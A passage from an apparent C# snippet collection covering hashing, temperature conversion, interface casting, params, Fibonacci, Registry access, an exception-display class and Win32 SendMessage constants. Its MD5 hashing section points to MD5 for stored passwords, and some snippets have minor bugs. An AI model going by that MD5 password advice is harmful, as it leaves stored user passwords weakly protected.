       for (int i = 0; i < hashBytes.Length; i++)
       {
           sb.Append (hashBytes[i].ToString ("X2"));
           // To force the hex string to lower-case letters instead of
           // upper-case, use he following line instead:
           // sb.Append(hashBytes[i].ToString("x2")); 
       }
       return sb.ToString();
    }
    
    Located in the System.Web.Security namespace, this class can also be used:
    FormsAuthentication.HashPasswordForStoringInConfigFile (string, "MD5")
    

    Convert Fahrenheit and Celsius

    This C# code snippet converts temperatures between the two major temperature scales—Fahrenheit and Celsius.
    using System;
    
    public static double CelsiusToFahrenheit 
       (string temperatureCelsius)
    {
       double celsius = System.Double.Parse (temperatureCelsius);
       return (celsius * 9 / 5) + 32; 
    }
     
    public static double FahrenheitToCelsius 
       (string temperatureFahrenheit)
    {
       double fahrenheit = System.Double.Parse (temperatureFahrenheit);
       return (fahrenheit - 32) * 5 / 9;
    }
    

    Cast an object to an interface

    This C# code snippet shows how to test the specified object in order to determine whether or not it implements a particular interface. Although an interface cannot be instantiated directly, an interface can be treated polymorphically by casting an object which implements the interface to the interface type. Then, the actual runtime type of the object can be ignored; and, the object will appear to be an instantiated interface. The first option is to simply cast the object reference to an interface
    ICloneable iCloneable = (ICloneable) new TheObject();
    

    Unfortunately, if the object does not implement that particular interface, a runtime error of System.InvalidCastException will be thrown. You could catch that exception and take appropriate action; but, that is both bad practice and inefficient.

    The second option is to use the is operator which returns true if the object can be safely cast to the specified type:
    using System;
    TheObject theObject = new TheObject();  
    if (theObject is ICloneable)
    {
       ICloneable iCloneable = (ICloneable) theObject;  
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    
    The third option is to use the as operator which will either cast the object to the specified type or return a null if the cast would be invalid.
    ICloneable iCloneable = new TheObject() as ICloneable;
    if (iCloneable != null)
    {
       iCloneable.Clone();   // access interface member
    }
    else
    {
       console.WriteLine ("Interface unsupported");
    }
    

    Call with variable arguments

    This C# code snippet uses the params keyword to implement a method which can be called with a variable number of arguments.
    using System;
     
    static void ListArguments (params object[] arguments)
    {
       foreach (object argument in arguments)
       {
          Console.WriteLine (argument);
       }
    }
     
    public static void Main( )
    {
       ListArguments ("Arguments: ", DateTime.Now, 3.14f);
    }
    

    Calculate Fibonacci number

    This C# code snippet calculates a Fibonacci number using recursion, i.e., the Fibonacci method calls itself when necessary.
    using System;
    static int Fibonacci (int x)
    {
       Console.WriteLine ("x = {0}", x);
       if (x <= 1)
       {
          return x;
       }
       return Fibonacci (x-1) + Fibonacci (x-2);
    }
      
    static void Main( )
    {
       Console.WriteLine ("Fibonacci no. = {0}", Fibonacci (5));
       Console.ReadKey();
    }
    

    Write a Registry key

    This C# code snippet writes a key to the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       try
       {
          masterKey.SetValue ("MyKey", "MyValue");
       }
       catch (Exception ex)
       {
          Console.WriteLine (ex.Message);
       }
       finally
       { 
          masterKey.Close();
       }
    }
    

    Read a Registry key

    This C# code snippet reads a key from the Windows Registry.
    using Microsoft.Win32;
    
    RegistryKey masterKey = Registry.LocalMachine.CreateSubKey 
       ("SOFTWARE\\Test\\customkey");
    if (masterKey == null)
    {
       Console.WriteLine ("Null Masterkey!");
    }
    else
    {
       Console.WriteLine ("MyKey = {0}", masterKey.GetValue ("MyKey"));
    }
    masterKey.Close();
    

    Structured Exception Handling (SEH Class)

    //Structured Exception Handling (SEH Class) 
    //Usage: Choose the output type = SEH.OutType(MessageBox); 
    //Throw using  (Exception ex,String Msg); 
         
        using System; 
         
        namespace SEH 
        { 
         public enum Output { Console=101, Debug, Messagebox, Dialog }; 
         
         static partial class SEH 
         { 
         
         private static int disp; 
         
         // Exception Output Display type 
         public static void OutType(Output val) 
         { 
         disp = Convert.ToInt32(val); 
         } 
         
         // Exception Data 
         public static void EX_Data(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " + EXC.Data.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data, "EXCEPTION : [ Data ]", System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Data with User Message 
         public static void EX_Data(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Data + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("\nEXCEPTION Data: [ " 
         + EXC.Data.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Data + "\n \"" + Message + "\"", "EXCEPTION : [ Data ]", 
         System.Windows.Forms.MessageBoxButtons.OK, System.Windows.Forms.MessageBoxIcon.Hand); 
         } 
         } 
         
         // Exception Description 
         public static void EX_Msg(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message, "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Description With Message 
         public static void EX_Msg(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Message + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print( 
         "EXCEPTION Message: \"" + EXC.Message.ToString() + "\"" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Message + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Message ]", System.Windows.Forms.MessageBoxButtons. 
         OK, System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception 
         public static void EX_Inner(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException, "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Inner Exception with Message 
         public static void EX_Inner(Exception EXC, String Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.InnerException + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.InnerException != null) 
         System.Diagnostics.Debug.Print("EXCEPTION InnerException: [ " + 
         EXC.InnerException.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.InnerException + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Innerexception ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         // Exception Help Link 
         public static void EX_Help(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + 
         EXC.HelpLink.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink, "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Help Link with user maeeage 
         public static void EX_Help(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.HelpLink + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         if (EXC.HelpLink != null) 
         System.Diagnostics.Debug.Print("EXCEPTION HelpLink: [ " + EXC.HelpLink.ToString() + " ]" + "\n\" " + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.HelpLink + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Helplink ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Warning); 
         } 
         } 
         
         // Exception Source 
         public static void EX_Source(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source, "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Exception Source with Message 
         public static void EX_Source(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.Source + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION Source: [ " + 
         EXC.Source.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.Source + "\n \"" + Message + "\"", 
         "EXCEPTION : [ Source ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Asterisk); 
         } 
         } 
         
         // Dxception target 
         public static void EX_Target(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite, 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Target with Message 
         public static void EX_Target(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.TargetSite + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION TargetSize: [ " + 
         EXC.TargetSite.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.TargetSite + "\n \"" + Message + "\"", 
         "EXCEPTION : [ TargetSize ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Error); 
         } 
         } 
         
         // Exception Trace 
         public static void EX_Trace(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]"); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace, "EXCEPTION : [ StackTrace ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // Exception tace with Message 
         public static void EX_Trace(Exception EXC, string Message) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.StackTrace + "\n \"" + Message + "\""); } 
         if (disp == 102) 
         { 
         System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + 
         EXC.StackTrace.ToString() + " ]" + "\n \"" + Message + "\""); 
         } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.StackTrace + "\n \"" + Message + "\"", 
         "[" + Message + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Stop); 
         } 
         } 
         
         // All Exception 
         public static void EX_All(Exception EXC) 
         { 
         if (disp == 101) { System.Console.WriteLine(EXC.ToString()); } 
         if (disp == 102) { System.Diagnostics.Debug.Print("EXCEPTION StackTrace: [ " + EXC.ToString() + " ]"); } 
         if (disp == 103) 
         { 
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.ToString(), 
         "EXCPTION : [ INFO ]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         } 
         
         //Catches every type of exception(shows TypeInfo) 
         public static void _typo(Exception EXC) 
         { 
         
         System.Windows.Forms.MessageBox.Show(" " + 
         EXC.GetType(), //+  @"\nHashCode:"+ EXC.GetHashCode(), 
         "EXCPTION : [" + EXC.GetType() + "]", 
         System.Windows.Forms.MessageBoxButtons.OK, 
         System.Windows.Forms.MessageBoxIcon.Information); 
         } 
         
         
         } 
        } 
    
    

    Send Message API Class

    //Send Message API Class
    //send Message Win32 Ap interop 
         
        using System.Runtime.InteropServices; 
         
        namespace IndiLogiX.win32.API 
        { 
         
         public static class WIN32_API 
         { 
         
         [DllImport("user32.dll", EntryPoint="SendMessageW")] 
         private static extern int SendMessage (int hwnd, int wMsg, int wParam, int lParam); 
         
         [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
         private static extern int SendMessageFL(int hwnd, int wMsg, int wParam, string lParam); 
         
         [DllImport("user32.dll", EntryPoint = "SendMessageW")] 
         private static extern int SendMessageSD(int hwnd, int wMsg, string wParam, int lParam); 
         
         public enum WM : int 
         { 
         WM_ACTIVATE = 0x6, 
         WM_ACTIVATEAPP = 0x1C, 
         WM_ADSPROP_NOTIFY_APPLY = (WM_USER + 1104), 
         WM_USER = 0x400, 
         WM_ADSPROP_NOTIFY_CHANGE = (WM_USER + 1103), 
         WM_ADSPROP_NOTIFY_EXIT = (WM_USER + 1107), 
         WM_ADSPROP_NOTIFY_FOREGROUND = (WM_USER + 1106), 
         WM_ADSPROP_NOTIFY_PAGEHWND = (WM_USER + 1102), 
         WM_ADSPROP_NOTIFY_PAGEINIT = (WM_USER + 1101), 
         WM_ADSPROP_NOTIFY_SETFOCUS = (WM_USER + 1105), 
         WM_ADSPROP_NOTIFY_SHOW_ERROR_DIALOG = (WM_USER + 1111), 
         WM_AFXFIRST = 0x360, 
         WM_AFXLAST = 0x37F, 
         WM_APP = 0x8000, 
         WM_APPCOMMAND = 0x319, 
         WM_ASKCBFORMATNAME = 0x30C, 
         WM_CANCELJOURNAL = 0x4B, 
         WM_CANCELMODE = 0x1F, 
         WM_CAP_ABORT = (WM_CAP_START+ 69), 
         WM_CAP_START = WM_USER, 
         WM_CAP_DLG_VIDEOCOMPRESSION = (WM_CAP_START+ 46), 
         WM_CAP_DLG_VIDEODISPLAY = (WM_CAP_START+ 43), 
         WM_CAP_DLG_VIDEOFORMAT = (WM_CAP_START+ 41), 
         WM_CAP_DLG_VIDEOSOURCE = (WM_CAP_START+ 42), 
         WM_CAP_DRIVER_CONNECT = (WM_CAP_START+ 10), 
         WM_CAP_DRIVER_DISCONNECT = (WM_CAP_START+ 11), 
         WM_CAP_DRIVER_GET_CAPS = (WM_CAP_START+ 14), 
         WM_CAP_DRIVER_GET_NAMEA = (WM_CAP_START+ 12), 
         WM_CAP_DRIVER_GET_NAMEW = (WM_CAP_UNICODE_START+ 12), 
         WM_CAP_UNICODE_START = WM_USER+100, 
         WM_CAP_DRIVER_GET_VERSIONA = (WM_CAP_START+ 13), 
         WM_CAP_DRIVER_GET_VERSIONW = (WM_CAP_UNICODE_START+ 13), 
         WM_CAP_EDIT_COPY = (WM_CAP_START+ 30), 
         WM_CAP_END = WM_CAP_UNICODE_END, 
         WM_CAP_UNICODE_END = WM_CAP_PAL_SAVEW, 
         WM_CAP_FILE_ALLOCATE = (WM_CAP_START+ 22), 
         WM_CAP_FILE_GET_CAPTURE_FILEA = (WM_CAP_START+ 21), 
         WM_CAP_FILE_GET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 21), 
         WM_CAP_FILE_SAVEASA = (WM_CAP_START+ 23), 
         WM_CAP_FILE_SAVEASW = (WM_CAP_UNICODE_START+ 23), 
         WM_CAP_FILE_SAVEDIBA = (WM_CAP_START+ 25), 
         WM_CAP_FILE_SAVEDIBW = (WM_CAP_UNICODE_START+ 25), 
         WM_CAP_FILE_SET_CAPTURE_FILEA = (WM_CAP_START+ 20), 
         WM_CAP_FILE_SET_CAPTURE_FILEW = (WM_CAP_UNICODE_START+ 20), 
         WM_CAP_FILE_SET_INFOCHUNK = (WM_CAP_START+ 24), 
         WM_CAP_GET_AUDIOFORMAT = (WM_CAP_START+ 36), 
         WM_CAP_GET_CAPSTREAMPTR = (WM_CAP_START+ 1), 
         WM_CAP_GET_MCI_DEVICEA = (WM_CAP_START+ 67), 
         WM_CAP_GET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 67), 
         WM_CAP_GET_SEQUENCE_SETUP = (WM_CAP_START+ 65), 
         WM_CAP_GET_STATUS = (WM_CAP_START+ 54), 
         WM_CAP_GET_USER_DATA = (WM_CAP_START+ 8), 
         WM_CAP_GET_VIDEOFORMAT = (WM_CAP_START+ 44), 
         WM_CAP_GRAB_FRAME = (WM_CAP_START+ 60), 
         WM_CAP_GRAB_FRAME_NOSTOP = (WM_CAP_START+ 61), 
         WM_CAP_PAL_AUTOCREATE = (WM_CAP_START+ 83), 
         WM_CAP_PAL_MANUALCREATE = (WM_CAP_START+ 84), 
         WM_CAP_PAL_OPENA = (WM_CAP_START+ 80), 
         WM_CAP_PAL_OPENW = (WM_CAP_UNICODE_START+ 80), 
         WM_CAP_PAL_PASTE = (WM_CAP_START+ 82), 
         WM_CAP_PAL_SAVEA = (WM_CAP_START+ 81), 
         WM_CAP_PAL_SAVEW = (WM_CAP_UNICODE_START+ 81), 
         WM_CAP_SEQUENCE = (WM_CAP_START+ 62), 
         WM_CAP_SEQUENCE_NOFILE = (WM_CAP_START+ 63), 
         WM_CAP_SET_AUDIOFORMAT = (WM_CAP_START+ 35), 
         WM_CAP_SET_CALLBACK_CAPCONTROL = (WM_CAP_START+ 85), 
         WM_CAP_SET_CALLBACK_ERRORA = (WM_CAP_START+ 2), 
         WM_CAP_SET_CALLBACK_ERRORW = (WM_CAP_UNICODE_START+ 2), 
         WM_CAP_SET_CALLBACK_FRAME = (WM_CAP_START+ 5), 
         WM_CAP_SET_CALLBACK_STATUSA = (WM_CAP_START+ 3), 
         WM_CAP_SET_CALLBACK_STATUSW = (WM_CAP_UNICODE_START+ 3), 
         WM_CAP_SET_CALLBACK_VIDEOSTREAM = (WM_CAP_START+ 6), 
         WM_CAP_SET_CALLBACK_WAVESTREAM = (WM_CAP_START+ 7), 
         WM_CAP_SET_CALLBACK_YIELD = (WM_CAP_START+ 4), 
         WM_CAP_SET_MCI_DEVICEA = (WM_CAP_START+ 66), 
         WM_CAP_SET_MCI_DEVICEW = (WM_CAP_UNICODE_START+ 66), 
         WM_CAP_SET_OVERLAY = (WM_CAP_START+ 51), 
         WM_CAP_SET_PREVIEW = (WM_CAP_START+ 50), 
         WM_CAP_SET_PREVIEWRATE = (WM_CAP_START+ 52), 
         WM_CAP_SET_SCALE = (WM_CAP_START+ 53), 
         WM_CAP_SET_SCROLL = (WM_CAP_START+ 55), 
         WM_CAP_SET_SEQUENCE_SETUP = (WM_CAP_START+ 64), 
         WM_CAP_SET_USER_DATA = (WM_CAP_START+ 9), 
         WM_CAP_SET_VIDEOFORMAT = (WM_CAP_START+ 45), 
         WM_CAP_SINGLE_FRAME = (WM_CAP_START+ 72), 
         WM_CAP_SINGLE_FRAME_CLOSE = (WM_CAP_START+ 71), 
         WM_CAP_SINGLE_FRAME_OPEN = (WM_CAP_START+ 70), 
         WM_CAP_STOP = (WM_CAP_START+ 68), 
         WM_CAPTURECHANGED = 0x215, 
         WM_CHANGECBCHAIN = 0x30D, 
         WM_CHANGEUISTATE = 0x127, 
         WM_CHAR = 0x102, 
         WM_CHARTOITEM = 0x2F, 
         WM_CHOOSEFONT_GETLOGFONT = (WM_USER + 1), 
         WM_CHOOSEFONT_SETFLAGS = (WM_USER + 102), 
         WM_CHOOSEFONT_SETLOGFONT = (WM_USER + 101), 
         WM_CLEAR = 0x303, 
         WM_CLOSE = 0x10, 
         WM_COMMAND = 0x111, 
         WM_COMMNOTIFY = 0x44, 
         WM_COMPACTING = 0x41, 
         WM_COMPAREITEM = 0x39, 
         WM_CONTEXTMENU = 0x7B, 
         WM_CONVERTREQUEST = 0x10A, 
         WM_CONVERTREQUESTEX = 0x108, 
         WM_CONVERTRESULT = 0x10B, 
         WM_COPY = 0x301, 
         WM_COPYDATA = 0x4A, 
         WM_CPL_LAUNCH = (WM_USER+1000), 
         WM_CPL_LAUNCHED = (WM_USER+1001), 
         WM_CREATE = 0x1, 
         WM_CTLCOLOR = 0x19, 
         WM_CTLCOLORBTN = 0x135, 
         WM_CTLCOLORDLG = 0x136, 
         WM_CTLCOLOREDIT = 0x133, 
         WM_CTLCOLORLISTBOX = 0x134, 
         WM_CTLCOLORMSGBOX = 0x132, 
         WM_CTLCOLORSCROLLBAR = 0x137, 
         WM_CTLCOLORSTATIC = 0x138, 
         WM_CUT = 0x300, 
         WM_DDE_FIRST = 0x3E0, 
         WM_DDE_ACK = (WM_DDE_FIRST + 4), 
         WM_DDE_ADVISE = (WM_DDE_FIRST + 2), 
         WM_DDE_DATA = (WM_DDE_FIRST + 5), 
         WM_DDE_EXECUTE = (WM_DDE_FIRST + 8), 
         WM_DDE_INITIATE = (WM_DDE_FIRST), 
         WM_DDE_LAST = (WM_DDE_FIRST + 8), 
         WM_DDE_POKE = (WM_DDE_FIRST + 7), 
         WM_DDE_REQUEST = (WM_DDE_FIRST + 6), 
         WM_DDE_TERMINATE = (WM_DDE_FIRST + 1), 
         WM_DDE_UNADVISE = (WM_DDE_FIRST + 3), 
         WM_DEADCHAR = 0x103, 
         WM_DELETEITEM = 0x2D, 
         WM_DESTROY = 0x2, 
         WM_DESTROYCLIPBOARD = 0x307, 
         WM_DEVICECHANGE = 0x219, 
         WM_DEVMODECHANGE = 0x1B, 
         WM_DISPLAYCHANGE = 0x7E, 
         WM_DRAWCLIPBOARD = 0x308, 
         WM_DRAWITEM = 0x2B, 
         WM_DROPFILES = 0x233, 
         WM_ENABLE = 0xA, 
         WM_ENDSESSION = 0x16, 
         WM_ENTERIDLE = 0x121, 
         WM_ENTERMENULOOP = 0x211, 
         WM_ENTERSIZEMOVE = 0x231, 
         WM_ERASEBKGND = 0x14, 
         WM_EXITMENULOOP = 0x212, 
         WM_EXITSIZEMOVE = 0x232, 
         WM_FONTCHANGE = 0x1D, 
         WM_FORWARDMSG = 0x37F, 
         WM_GETDLGCODE = 0x87, 
         WM_GETFONT = 0x31, 
         WM_GETHOTKEY = 0x33, 
         WM_GETICON = 0x7F, 
         WM_GETMINMAXINFO = 0x24, 
         WM_GETOBJECT = 0x3D, 
         WM_GETTEXT = 0xD, 
         WM_GETTEXTLENGTH = 0xE, 
         WM_HANDHELDFIRST = 0x358, 
         WM_HANDHELDLAST = 0x35F, 
         WM_HELP = 0x53, 
         WM_HOTKEY = 0x312, 
         WM_HSCROLL = 0x114, 
         WM_HSCROLLCLIPBOARD = 0x30E, 
         WM_ICONERASEBKGND = 0x27, 
         WM_IME_CHAR = 0x286, 
         WM_IME_COMPOSITION = 0x10F, 
         WM_IME_COMPOSITIONFULL = 0x284, 
         WM_IME_CONTROL = 0x283, 
         WM_IME_ENDCOMPOSITION = 0x10E, 
         WM_IME_KEYDOWN = 0x290, 
         WM_IME_KEYLAST = 0x10F, 
         WM_IME_KEYUP = 0x291, 
         WM_IME_NOTIFY = 0x282, 
         WM_IME_REPORT = 0x280, 
         WM_IME_REQUEST = 0x288, 
         WM_IME_SELECT = 0x285, 
         WM_IME_SETCONTEXT = 0x281, 
         WM_IME_STARTCOMPOSITION = 0x10D, 
         WM_IMEKEYDOWN = 0x290, 
         WM_IMEKEYUP = 0x291, 
         WM_INITDIALOG = 0x110, 
         WM_INITMENU = 0x116, 
         WM_INITMENUPOPUP = 0x117, 
         WM_INPUTLANGCHANGE = 0x51, 
         WM_INPUTLANGCHANGEREQUEST = 0x50, 
         WM_INTERIM = 0x10C, 
         WM_KEYDOWN = 0x100, 
         WM_KEYFIRST = 0x100, 
         WM_KEYLAST = 0x108, 
         WM_KEYUP = 0x101, 
         WM_KILLFOCUS = 0x8, 
         WM_LBUTTONDBLCLK = 0x203, 
         WM_LBUTTONDOWN = 0x201, 
         WM_LBUTTONUP = 0x202, 
         WM_MBUTTONDBLCLK = 0x209, 
         WM_MBUTTONDOWN = 0x207, 
         WM_MBUTTONUP = 0x208, 
         WM_MDIACTIVATE = 0x222, 
         WM_MDICASCADE = 0x227, 
         WM_MDICREATE = 0x220, 
         WM_MDIDESTROY = 0x221, 
         WM_MDIGETACTIVE = 0x229, 
         WM_MDIICONARRANGE = 0x228, 
         WM_MDIMAXIMIZE = 0x225, 
         WM_MDINEXT = 0x224, 
         WM_MDIREFRESHMENU = 0x234, 
         WM_MDIRESTORE = 0x223, 
         WM_MDISETMENU = 0x230, 
         WM_MDITILE = 0x226, 
         WM_MEASUREITEM = 0x2C, 
         WM_MENUCHAR = 0x120, 
         WM_MENUCOMMAND = 0x126, 
         WM_MENUDRAG = 0x123, 
         WM_MENUGETOBJECT = 0x124, 
         WM_MENURBUTTONUP = 0x122, 
         WM_MENUSELECT = 0x11F, 
         WM_MOUSEACTIVATE = 0x21, 
         WM_MOUSEFIRST = 0x200, 
         WM_MOUSEHOVER = 0x2A1, 
         WM_MOUSELAST = 0x209, 
         WM_MOUSELEAVE = 0x2A3, 
         WM_MOUSEMOVE = 0x200, 
         WM_MOUSEWHEEL = 0x20A, 
         WM_MOVE = 0x3, 
         WM_MOVING = 0x216, 
         WM_NCACTIVATE = 0x86, 
         WM_NCCALCSIZE = 0x83, 
         WM_NCCREATE = 0x81, 
         WM_NCDESTROY = 0x82, 
         WM_NCHITTEST = 0x84, 
         WM_NCLBUTTONDBLCLK = 0xA3, 
         WM_NCLBUTTONDOWN = 0xA1, 
         WM_NCLBUTTONUP = 0xA2, 
         WM_NCMBUTTONDBLCLK = 0xA9, 
         WM_NCMBUTTONDOWN = 0xA7, 
         WM_NCMBUTTONUP = 0xA8, 
         WM_NCMOUSEHOVER = 0x2A0, 
         WM_NCMOUSELEAVE = 0x2A2, 
         WM_NCMOUSEMOVE = 0xA0, 
         WM_NCPAINT = 0x85, 
         WM_NCRBUTTONDBLCLK = 0xA6, 
         WM_NCRBUTTONDOWN = 0xA4, 
         WM_NCRBUTTONUP = 0xA5, 
         WM_NCXBUTTONDOWN = 0xAB, 
         WM_NCXBUTTONUP = 0xAC, 
         WM_NEXTDLGCTL = 0x28, 
         WM_NEXTMENU = 0x213, 
         WM_NOTIFY = 0x4E, 
         WM_NOTIFYFORMAT = 0x55, 
         WM_NULL = 0x0, 
         WM_OTHERWINDOWCREATED = 0x42, 
         WM_OTHERWINDOWDESTROYED = 0x43, 
         WM_PAINT = 0xF, 
         WM_PAINTCLIPBOARD = 0x309, 
         WM_PAINTICON = 0x26, 
         WM_PALETTECHANGED = 0x311, 
         WM_PALETTEISCHANGING = 0x310, 
         WM_PARENTNOTIFY = 0x210, 
         WM_PASTE = 0x302, 
         WM_PENWINFIRST = 0x380, 
         WM_PENWINLAST = 0x38F, 
         WM_POWER = 0x48, 
         WM_POWERBROADCAST = 0x218, 
         WM_PRINT = 0x317, 
         WM_PRINTCLIENT = 0x318, 
         WM_PSD_ENVSTAMPRECT = (WM_USER + 5), 
         WM_PSD_FULLPAGERECT = (WM_USER + 1), 
         WM_PSD_GREEKTEXTRECT = (WM_USER + 4), 
         WM_PSD_MARGINRECT = (WM_USER + 3), 
         WM_PSD_MINMARGINRECT = (WM_USER + 2), 
         WM_PSD_PAGESETUPDLG = (WM_USER), 
         WM_PSD_YAFULLPAGERECT = (WM_USER + 6), 
         WM_QUERYDRAGICON = 0x37, 
         WM_QUERYENDSESSION = 0x11, 
         WM_QUERYNEWPALETTE = 0x30F, 
         WM_QUERYOPEN = 0x13, 
         WM_QUERYUISTATE = 0x129, 
         WM_QUEUESYNC = 0x23, 
         WM_QUIT = 0x12, 
         WM_RASDIALEVENT = 0xCCCD, 
         WM_RBUTTONDBLCLK = 0x206, 
         WM_RBUTTONDOWN = 0x204, 
         WM_RBUTTONUP = 0x205, 
         WM_RENDERALLFORMATS = 0x306, 
         WM_RENDERFORMAT = 0x305, 
         WM_SETCURSOR = 0x20, 
         WM_SETFOCUS = 0x7, 
         WM_SETFONT = 0x30, 
         WM_SETHOTKEY = 0x32, 
         WM_SETICON = 0x80, 
         WM_SETREDRAW = 0xB, 
         WM_SETTEXT = 0xC, 
         WM_SETTINGCHANGE = WM_WININICHANGE, 
         WM_SHOWWINDOW = 0x18, 
         WM_SIZE = 0x5, 
         WM_SIZECLIPBOARD = 0x30B, 
         WM_SIZING = 0x214, 
         WM_SPOOLERSTATUS = 0x2A, 
         WM_STYLECHANGED = 0x7D, 
         WM_STYLECHANGING = 0x7C, 
         WM_SYNCPAINT = 0x88, 
         WM_SYSCHAR = 0x106, 
         WM_SYSCOLORCHANGE = 0x15, 
         WM_SYSCOMMAND = 0x112, 
         WM_SYSDEADCHAR = 0x107, 
         WM_SYSKEYDOWN = 0x104, 
         WM_SYSKEYUP = 0x105, 
         WM_TCARD = 0x52, 
         WM_TIMECHANGE = 0x1E, 
         WM_TIMER = 0x113, 
